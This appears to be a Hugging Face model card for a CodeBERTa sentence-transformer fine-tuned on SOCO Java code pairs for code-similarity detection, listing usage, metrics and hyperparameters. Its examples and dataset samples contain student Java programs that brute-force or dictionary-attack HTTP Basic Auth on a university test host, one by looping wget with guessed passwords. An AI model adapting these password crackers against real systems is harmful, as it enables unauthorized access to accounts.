buelfhood / SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1

huggingface.co
Total runs: 30
24-hour runs: -6
7-day runs: -8
30-day runs: 11
Model's Last Updated: September 23 2025
sentence-similarity

Introduction of SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1

Model Details of SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1

SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 . It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details
Model Description
  • Model Type: Sentence Transformer
  • Base model: huggingface/CodeBERTa-small-v1
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity
Model Sources
Full Model Architecture
SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1")
# Run inference
sentences = [
    '\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\npublic class Dictionary\n{\n  public Dictionary()\n  {}\n\n  public boolean fetchURL(String urlString,String username,String password)\n  {\n     StringWriter  sw= new StringWriter();\n     PrintWriter  pw = new PrintWriter();\n     try{\n       URL url=new URL(urlString);  \n       String userPwd= username+":"+password;\n\n       \n       \n       \n       \n\n       BASE64Encoder encoder = new BASE64Encoder();\n       String encodedStr = encoder.encode (userPwd.getBytes());\n       System.out.println("Original String = " + userPwd);\n\t System.out.println("Encoded String = " + encodedStr);\n\n       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  \n       huc.setRequestProperty( "Authorization"," "+encodedStr);   \n       InputStream content = (InputStream)huc.getInputStream();\n       BufferedReader in   =\n       new BufferedReader (new InputStreamReader (content));\n       String line;\n       while ((line = in.readLine()) != null) {\n         pw.println (line);\n       System.out.println("");\n       System.out.println(sw.toString());\n       }return true;\n     } catch (MalformedURLException e) {\n       pw.println ("Invalid URL");\n       return false;\n     } catch (IOException e) {\n       pw.println ("Error  URL");\n       return false;\n     }\n\n  }\n\n  public void getPassword()\n  {\n     String dictionary="words";\n     String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";\n     String login="";\n     String pwd=" ";\n\n     try\n     {\n       BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));\n        startTime=System.currentTimeMillis();\n       while (pwd!=null)\n       {\n         pwd=inputStream.readLine();\n         if(this.fetchURL(urlString,login,pwd))\n         {\n            finishTime=System.currentTimeMillis();\n           System.out.println("Finally I gotta it,  password is : "+pwd);\n           System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");\n           System.exit(1);\n         } \n\n       }\n       inputStream.close();\n     }\n     catch(FileNotFoundException e)\n     {\n       System.out.println("Dictionary not found.");\n     }\n     catch(IOException e)\n     {\n       System.out.println("Error  dictionary");\n     }\n  }\n\n  public static void main(String[] arguments)\n  {\n     BruteForce bf=new BruteForce();\n     bf.getPassword();\n  } \n}',
    '\n\nimport java.io.*;\nimport java.*;\n\npublic class BruteForce \n{\n   public static void main(String args[]) \n   {\n      String s = null;\n      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n      \n      String alphabets = new String("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");\n     \n      String password = null;\n      int len = 0;\n      int num_tries = 0;\n\n      len = alphabets.length();\n      \n      \n      for (int i=0; i<len; i++)\n      {\n         for (int j=0; j<len; j++)\n\t {\n            for (int k=0; k<len; k++)\n\t    {\n               try \n               {\n                  \n                  password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));\n               \n                  System.out.print(alphabets.charAt(i)); \n                  System.out.print(alphabets.charAt(j)); \n                  System.out.println(alphabets.charAt(k));      \n\n                  \n                  Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);\n                  \n                  BufferedReader stdInput = new BufferedReader(new \n                     InputStreamReader(p.getInputStream()));\n\n                  BufferedReader stdError = new BufferedReader(new \n                     InputStreamReader(p.getErrorStream()));\n\n                  \n                  while ((s = stdInput.readLine()) != null)\n                  {\n                     System.out.println(s);\n                  }\n                  \n                  \n                  while ((s = stdError.readLine()) != null)\n                  {\n                     System.out.println(s);\n                  }\n                  \n                  try\n\t\t      {\n                     p.waitFor(); \n                  }\n                  catch (InterruptedException g)  \n                  {\n                  }  \n\n                  num_tries++;\n                  \n                  if((p.exitValue()) == 0)\n                  {       \n                     System.out.println("**********PASSWORD IS: " + password);\n\t             System.out.println("**********NUMBER OF TRIES: " + num_tries);\n                     System.exit(1);\n                  }\n               }\n               catch (IOException e)\n               {\n                  System.out.println("exception happened - here\'s what I know: ");\n                  e.printStackTrace();\n                  System.exit(-1);\n               }\n            }\n         }\n      }\n   }\n}\n\n',
    '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.util.*;\n\npublic class BruteForce {\n\n   public static void main(String[] args) throws IOException {\n\n      \n      int start , end, total;\n      start = System.currentTimeMillis(); \n\n      String username = "";\n      String password = null;\n      String host = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n      \n      \n      String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n      int lettersLen = letters.length(); \n      int passwordLen=3; \n\n      int passwords=0; \n      int twoChar=0; \n\n      url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();\n      \n\n      \n      String authenticate = ""; \n      String realm = null, domain = null, hostname = null;\n       header = null; \n\n      \n      int responseCode;\n      String responseMsg;\n\n      \n      int temp1=0;\n      int temp2=0;\n      int temp3=0;\n\n\n      \n      \n      \n      for (int a=1; a<=passwordLen; a++) {\n        temp1  = (int) Math.pow(lettersLen, a);\n         passwords += temp1;\n         if (a==2) {\n            twoChar = temp1; \n         }\n      }\n\n      System.out.println("Brute Attack  " + host + " has commenced.");\n      System.out.println("Number of possible password combinations: " + passwords);\n\n\n      int i=1; \n\n       {\n         try {\n            \n            URL url = new URL(host);\n            HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();\n\n            \n            if(realm != null) {\n\n               \n               if ( i < lettersLen) {\n                  \n\n                   password = letters.substring(i, (i+1));\n\n               } else if (i < (lettersLen + twoChar)) {\n                   \n\n                   \n                   temp1 = i / lettersLen;\n                   password = letters.substring((-1), start );\n\n                   \n                   temp1 = i - ( temp1 * lettersLen);\n                   password = password + letters.substring(temp1, (+1));\n\n               } else {\n                   \n\n                   \n                   temp2 = i / lettersLen;\n                   temp1 = i - (temp2 * lettersLen);\n                   password = letters.substring(temp1, (+1));\n\n                   \n                   temp3 = temp2; \n                   temp2 = temp2 / lettersLen;\n                   temp1  = temp3 - (temp2 * lettersLen);\n                   password = letters.substring(temp1, (+1)) + password;\n\n                   \n                   temp3 = temp2; \n                   temp2 = temp2 / lettersLen;\n                   temp1 = temp3 - (temp2 * lettersLen);\n                   password = letters.substring(temp1, (+1)) + password;\n\n               } \n\n               \n               \n               authenticate = username + ":" + password;\n               authenticate = new String(base.encode(authenticate.getBytes()));\n               httpConnect.addRequestProperty("Authorization", " " + authenticate);\n\n            } \n\n            \n            httpConnect.connect();\n\n            \n            realm = httpConnect.getHeaderField("WWW-Authenticate");\n            if (realm != null) {\n               realm = realm.substring(realm.indexOf(\'"\') + 1);\n               realm = realm.substring(0, realm.indexOf(\'"\'));\n            }\n\n            hostname = url.getHost();\n\n            \n            responseCode = httpConnect.getResponseCode();\n            responseMsg = httpConnect.getResponseMessage();\n\n            \n            \n            \n            \n            \n\n            \n            \n            if (responseCode == 200) {\n               \n               end = System.currentTimeMillis();\n               total = (end - start) / 1000; \n\n               System.out.println ("Sucessfully Connected  " + url);\n               System.out.println("Login Attempts Required : " + (i-1));\n               System.out.println("Time Taken in Seconds : " + total);\n               System.out.println ("Connection Status : " + responseCode + " " + responseMsg);\n               System.out.println ("Username : " + username);\n               System.out.println ("Password : " + password);\n               System.exit( 0 );\n            } else if (responseCode == 401 && realm != null) {\n               \n               \n               \n               if (i > 1) {\n\n               }\n            } else {\n               \n               \n                System.out.println ("What the?... The server replied with  unexpected reponse." );\n               System.out.println (" Unexpected Error Occured While Attempting  Connect  " + url);\n               System.out.println ("Connection Status: " + responseCode + responseMsg);\n               System.out.println ("Unfortunately the password could not  recovered.");\n               System.exit( 0 );\n           }\n\n           i++;\n\n        } catch(MalformedURLException e) {\n           System.out.println("Opps, the URL " + host + " is not valid.");\n           System.out.println("Please check the URL and try again.");\n        } catch(IOException e) {\n           System.out.println(", \'t connect  " + host + ".");\n           System.out.println("Please check the URL and try again.");\n           System.out.println("Other possible causes include website is currently unavailable");\n           System.out.println("  have  internet connection problem.");\n        } \n\n     }  while(realm != null); \n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.2589, 0.2759],
#         [0.2589, 1.0000, 0.2076],
#         [0.2759, 0.2076, 1.0000]])
Evaluation
Metrics
Binary Classification
Metric Value
cosine_accuracy 0.9995
cosine_accuracy_threshold 0.8752
cosine_f1 0.9995
cosine_f1_threshold 0.8752
cosine_precision 0.9991
cosine_recall 1.0
cosine_ap 1.0
cosine_mcc 0.9991
Training Details
Training Dataset
Unnamed Dataset
  • Size: 77,328 training samples
  • Columns: text_1 , text_2 , and label
  • Approximate statistics based on the first 1000 samples:
    text_1 text_2 label
    type string string int
    details
    • min: 51 tokens
    • mean: 467.45 tokens
    • max: 512 tokens
    • min: 51 tokens
    • mean: 464.45 tokens
    • max: 512 tokens
    • 0: ~50.00%
    • 1: ~50.00%
  • Samples:
    text_1 text_2 label


    import java.io. ;
    import java.net.
    ;
    import java.misc.BASE64Encoder;

    public class Dictionary
    {
    public Dictionary()
    {}

    public boolean fetchURL(String urlString,String username,String password)
    {
    StringWriter sw= new StringWriter();
    PrintWriter pw = new PrintWriter();
    try{
    URL url=new URL(urlString);
    String userPwd= username+":"+password;






    BASE64Encoder encoder = new BASE64Encoder();
    String encodedStr = encoder.encode (userPwd.getBytes());
    System.out.println("Original String = " + userPwd);
    System.out.println("Encoded String = " + encodedStr);

    HttpURLConnection huc=(HttpURLConnection) url.openConnection();
    huc.setRequestProperty( "Authorization"," "+encodedStr);
    InputStream content = (InputStream)huc.getInputStream();
    BufferedReader in =
    new BufferedReader (new InputStreamReader (content));
    String line;
    while ((line = in.readLine())...


    import java.io. ;
    import java.net.
    ;
    import java.misc.BASE64Encoder;

    public class BruteForce
    {
    public BruteForce()
    {}

    public boolean fetchURL(String urlString,String username,String password)
    {
    StringWriter = new StringWriter();
    PrintWriter pw = new PrintWriter();
    try{
    URL url=new URL(urlString);
    String userPwd= username+":"+password;






    BASE64Encoder encoder = new BASE64Encoder();
    String encodedStr = encoder.encode (userPwd.getBytes());
    System.out.println("Original String = " + userPwd);
    System.out.println("Encoded String = " + encodedStr);

    HttpURLConnection huc=(HttpURLConnection) url.openConnection();
    huc.setRequestProperty( "Authorization"," "+encodedStr);
    InputStream content = (InputStream)huc.getInputStream();
    BufferedReader in =
    new BufferedReader (new InputStreamReader (content));
    String line;
    while ((line = in.readLine()) ...
    1


    import java.io. ;
    import java.net.
    ;
    import java.misc.BASE64Encoder;

    public class Dictionary
    {
    public Dictionary()
    {}

    public boolean fetchURL(String urlString,String username,String password)
    {
    StringWriter sw= new StringWriter();
    PrintWriter pw = new PrintWriter();
    try{
    URL url=new URL(urlString);
    String userPwd= username+":"+password;






    BASE64Encoder encoder = new BASE64Encoder();
    String encodedStr = encoder.encode (userPwd.getBytes());
    System.out.println("Original String = " + userPwd);
    System.out.println("Encoded String = " + encodedStr);

    HttpURLConnection huc=(HttpURLConnection) url.openConnection();
    huc.setRequestProperty( "Authorization"," "+encodedStr);
    InputStream content = (InputStream)huc.getInputStream();
    BufferedReader in =
    new BufferedReader (new InputStreamReader (content));
    String line;
    while ((line = in.readLine())...


    import java.net. ;
    import java.io.
    ;
    import java.util.*;

    public class Dictionary{

    private static URL location;
    private static String user;
    private BufferedReader input;
    private static BufferedReader dictionary;
    private int maxLetters = 3;



    public Dictionary() {

    Authenticator.setDefault(new MyAuthenticator ());

    startTime = System.currentTimeMillis();
    boolean passwordMatched = false;
    while (!passwordMatched) {
    try {
    input = new BufferedReader(new InputStreamReader(location.openStream()));
    String line = input.readLine();
    while (line != null) {
    System.out.println(line);
    line = input.readLine();
    }
    input.close();
    passwordMatched = true;
    }
    catch (ProtocolException e)
    {


    }
    catch (ConnectException e) {
    System.out.println("Failed connect");
    }
    catch (IOException e) ...
    0



    import java.io.InputStream;
    import java.util.Properties;

    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.rmi.PortableRemoteObject;
    import javax.sql.DataSource;





    public class WatchdogPropertyHelper {

    private static Properties testProps;



    public WatchdogPropertyHelper() {
    }




    public static String getProperty(String pKey){
    try{
    initProps();
    }
    catch(Exception e){
    System.err.println("Error init'ing the watchddog Props");
    e.printStackTrace();
    }
    return testProps.getProperty(pKey);
    }


    private static void initProps() throws Exception{
    if(testProps == null){
    testProps = new Properties();

    InputStream fis =
    WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
    testProps.load(fis);
    }
    }
    }




    import java.io.InputStream;
    import java.util.Properties;

    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.rmi.PortableRemoteObject;
    import javax.sql.DataSource;




    public class BruteForcePropertyHelper {

    private static Properties bruteForceProps;



    public BruteForcePropertyHelper() {
    }




    public static String getProperty(String pKey){
    try{
    initProps();
    }
    catch(Exception e){
    System.err.println("Error init'ing the burteforce Props");
    e.printStackTrace();
    }
    return bruteForceProps.getProperty(pKey);
    }


    private static void initProps() throws Exception{
    if(bruteForceProps == null){
    bruteForceProps = new Properties();

    InputStream fis =
    BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
    bruteForceProps.load(fis);
    }
    }
    }

    1
  • Loss: ContrastiveLoss with these parameters:
    {
        "distance_metric": "SiameseDistanceMetric.COSINE_DISTANCE",
        "margin": 0.5,
        "size_average": true
    }
    
Evaluation Dataset
Unnamed Dataset
  • Size: 8,592 evaluation samples
  • Columns: text_1 , text_2 , and label
  • Approximate statistics based on the first 1000 samples:
    text_1 text_2 label
    type string string int
    details
    • min: 51 tokens
    • mean: 469.8 tokens
    • max: 512 tokens
    • min: 51 tokens
    • mean: 461.39 tokens
    • max: 512 tokens
    • 0: ~50.00%
    • 1: ~50.00%
  • Samples:
    text_1 text_2 label






    import java.util. ;
    import java.io.
    ;

    public class WatchDog
    {

    public static void main(String args[])
    {

    Runtime rt1 = Runtime.getRuntime();
    Process prss1= null;

    try
    {
    prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/ ");
    }catch(java.io.IOException e){}

    MyWatchDogTimer w = new MyWatchDogTimer();
    Timer time = new Timer();
    time.schedule(w,864000000,864000000);


    }
    }





    import java.util. ;
    import java.io.
    ;

    public class MyTimer
    {

    public static void main(String args[])
    {
    Watchdog watch = new Watchdog();
    Timer time = new Timer();
    time.schedule(watch,864000000,864000000);


    }
    }
    1






    import java.util. ;
    import java.io.
    ;

    public class WatchDog
    {

    public static void main(String args[])
    {

    Runtime rt1 = Runtime.getRuntime();
    Process prss1= null;

    try
    {
    prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/ ");
    }catch(java.io.IOException e){}

    MyWatchDogTimer w = new MyWatchDogTimer();
    Timer time = new Timer();
    time.schedule(w,864000000,864000000);


    }
    }
    import java.net. ;
    import java.io.
    ;
    import java.util.Vector;
    import java.util.Date;
    import java.security. ;












    public class Dictionary {
    public static BufferedReader in;


    public static void main(String[] args) throws Exception {
    String baseURL = " http://sec-crack.cs.rmit.edu./SEC/2/index.php ";
    int count=0;
    Date date = new Date();
    startTime=date.getTime();
    int LIMITINMINUTES=45;
    int TIMELIMIT=LIMITINMINUTES
    1000*60;
    boolean timedOut=false;
    boolean found=false;


    Vector dictionary=new Vector(readWords());
    System.out.println("Words in dictionary: "+dictionary.size());







    while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {

    Date endDate = new Date();
    endTime=endDate.getTime();
    if (endTime>(TIMELIMIT+startTime)){
    System.out.println("Timed out");
    timedOut=true;
    }

    String password = "";

    ...
    0



    import java.io.InputStream;
    import java.util.Properties;

    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.rmi.PortableRemoteObject;
    import javax.sql.DataSource;






    public class MailsendPropertyHelper {

    private static Properties testProps;

    public MailsendPropertyHelper() {
    }




    public static String getProperty(String pKey){
    try{
    initProps();
    }
    catch(Exception e){
    System.err.println("Error init'ing the watchddog Props");
    e.printStackTrace();
    }
    return testProps.getProperty(pKey);
    }


    private static void initProps() throws Exception{
    if(testProps == null){
    testProps = new Properties();

    InputStream fis =
    MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
    testProps.load(fis);
    }
    }
    }









    import java.io.InputStream;
    import java.util.Properties;

    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.rmi.PortableRemoteObject;
    import javax.sql.DataSource;




    public class BruteForcePropertyHelper {

    private static Properties bruteForceProps;



    public BruteForcePropertyHelper() {
    }




    public static String getProperty(String pKey){
    try{
    initProps();
    }
    catch(Exception e){
    System.err.println("Error init'ing the burteforce Props");
    e.printStackTrace();
    }
    return bruteForceProps.getProperty(pKey);
    }


    private static void initProps() throws Exception{
    if(bruteForceProps == null){
    bruteForceProps = new Properties();

    InputStream fis =
    BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
    bruteForceProps.load(fis);
    }
    }
    }

    1
  • Loss: ContrastiveLoss with these parameters:
    {
        "distance_metric": "SiameseDistanceMetric.COSINE_DISTANCE",
        "margin": 0.5,
        "size_average": true
    }
    
Training Hyperparameters
Non-Default Hyperparameters
  • eval_strategy : steps
  • per_device_train_batch_size : 16
  • per_device_eval_batch_size : 16
  • learning_rate : 2e-05
  • num_train_epochs : 1
  • warmup_ratio : 0.1
  • fp16 : True
  • batch_sampler : no_duplicates
All Hyperparameters
Click to expand
  • overwrite_output_dir : False
  • do_predict : False
  • eval_strategy : steps
  • prediction_loss_only : True
  • per_device_train_batch_size : 16
  • per_device_eval_batch_size : 16
  • per_gpu_train_batch_size : None
  • per_gpu_eval_batch_size : None
  • gradient_accumulation_steps : 1
  • eval_accumulation_steps : None
  • torch_empty_cache_steps : None
  • learning_rate : 2e-05
  • weight_decay : 0.0
  • adam_beta1 : 0.9
  • adam_beta2 : 0.999
  • adam_epsilon : 1e-08
  • max_grad_norm : 1.0
  • num_train_epochs : 1
  • max_steps : -1
  • lr_scheduler_type : linear
  • lr_scheduler_kwargs : {}
  • warmup_ratio : 0.1
  • warmup_steps : 0
  • log_level : passive
  • log_level_replica : warning
  • log_on_each_node : True
  • logging_nan_inf_filter : True
  • save_safetensors : True
  • save_on_each_node : False
  • save_only_model : False
  • restore_callback_states_from_checkpoint : False
  • no_cuda : False
  • use_cpu : False
  • use_mps_device : False
  • seed : 42
  • data_seed : None
  • jit_mode_eval : False
  • use_ipex : False
  • bf16 : False
  • fp16 : True
  • fp16_opt_level : O1
  • half_precision_backend : auto
  • bf16_full_eval : False
  • fp16_full_eval : False
  • tf32 : None
  • local_rank : 0
  • ddp_backend : None
  • tpu_num_cores : None
  • tpu_metrics_debug : False
  • debug : []
  • dataloader_drop_last : False
  • dataloader_num_workers : 0
  • dataloader_prefetch_factor : None
  • past_index : -1
  • disable_tqdm : False
  • remove_unused_columns : True
  • label_names : None
  • load_best_model_at_end : False
  • ignore_data_skip : False
  • fsdp : []
  • fsdp_min_num_params : 0
  • fsdp_config : {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap : None
  • accelerator_config : {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • parallelism_config : None
  • deepspeed : None
  • label_smoothing_factor : 0.0
  • optim : adamw_torch_fused
  • optim_args : None
  • adafactor : False
  • group_by_length : False
  • length_column_name : length
  • ddp_find_unused_parameters : None
  • ddp_bucket_cap_mb : None
  • ddp_broadcast_buffers : False
  • dataloader_pin_memory : True
  • dataloader_persistent_workers : False
  • skip_memory_metrics : True
  • use_legacy_prediction_loop : False
  • push_to_hub : False
  • resume_from_checkpoint : None
  • hub_model_id : None
  • hub_strategy : every_save
  • hub_private_repo : None
  • hub_always_push : False
  • hub_revision : None
  • gradient_checkpointing : False
  • gradient_checkpointing_kwargs : None
  • include_inputs_for_metrics : False
  • include_for_metrics : []
  • eval_do_concat_batches : True
  • fp16_backend : auto
  • push_to_hub_model_id : None
  • push_to_hub_organization : None
  • mp_parameters :
  • auto_find_batch_size : False
  • full_determinism : False
  • torchdynamo : None
  • ray_scope : last
  • ddp_timeout : 1800
  • torch_compile : False
  • torch_compile_backend : None
  • torch_compile_mode : None
  • include_tokens_per_second : False
  • include_num_input_tokens_seen : False
  • neftune_noise_alpha : None
  • optim_target_modules : None
  • batch_eval_metrics : False
  • eval_on_start : False
  • use_liger_kernel : False
  • liger_kernel_config : None
  • eval_use_gather_object : False
  • average_tokens_across_devices : False
  • prompts : None
  • batch_sampler : no_duplicates
  • multi_dataset_batch_sampler : proportional
  • router_mapping : {}
  • learning_rate_mapping : {}
Training Logs
Epoch Step Training Loss Validation Loss binary-classification-evaluator_cosine_ap
0.0207 100 0.0203 - -
0.0414 200 0.0079 - -
0.0621 300 0.0032 - -
0.0828 400 0.0018 - -
0.1035 500 0.001 0.0007 0.9999
0.1241 600 0.0007 - -
0.1448 700 0.0005 - -
0.1655 800 0.0006 - -
0.1862 900 0.0004 - -
0.2069 1000 0.0006 0.0003 1.0000
0.2276 1100 0.0005 - -
0.2483 1200 0.0002 - -
0.2690 1300 0.0004 - -
0.2897 1400 0.0004 - -
0.3104 1500 0.0004 0.0002 1.0000
0.3311 1600 0.0002 - -
0.3517 1700 0.0004 - -
0.3724 1800 0.0003 - -
0.3931 1900 0.0002 - -
0.4138 2000 0.0004 0.0002 1.0000
0.4345 2100 0.0001 - -
0.4552 2200 0.0003 - -
0.4759 2300 0.0002 - -
0.4966 2400 0.0004 - -
0.5173 2500 0.0003 0.0002 0.9999
0.5380 2600 0.0001 - -
0.5587 2700 0.0003 - -
0.5794 2800 0.0004 - -
0.6000 2900 0.0002 - -
0.6207 3000 0.0003 0.0002 1.0000
0.6414 3100 0.0003 - -
0.6621 3200 0.0002 - -
0.6828 3300 0.0004 - -
0.7035 3400 0.0003 - -
0.7242 3500 0.0004 0.0002 1.0000
0.7449 3600 0.0002 - -
0.7656 3700 0.0002 - -
0.7863 3800 0.0003 - -
0.8070 3900 0.0003 - -
0.8276 4000 0.0002 0.0001 1.0000
0.8483 4100 0.0002 - -
0.8690 4200 0.0003 - -
0.8897 4300 0.0002 - -
0.9104 4400 0.0003 - -
0.9311 4500 0.0002 0.0002 1.0000
0.9518 4600 0.0001 - -
0.9725 4700 0.0005 - -
0.9932 4800 0.0004 - -
Framework Versions
  • Python: 3.11.11
  • Sentence Transformers: 5.1.1
  • Transformers: 4.56.2
  • PyTorch: 2.8.0.dev20250319+cu128
  • Accelerate: 1.10.1
  • Datasets: 4.1.1
  • Tokenizers: 0.22.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}
ContrastiveLoss
@inproceedings{hadsell2006dimensionality,
    author={Hadsell, R. and Chopra, S. and LeCun, Y.},
    booktitle={2006 IEEE Computer Society Conference on Computer Vision and Pattern Recognition (CVPR'06)},
    title={Dimensionality Reduction by Learning an Invariant Mapping},
    year={2006},
    volume={2},
    number={},
    pages={1735-1742},
    doi={10.1109/CVPR.2006.100}
}

Runs of buelfhood SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1 on huggingface.co

30
Total runs
-6
24-hour runs
-8
3-day runs
-8
7-day runs
11
30-day runs

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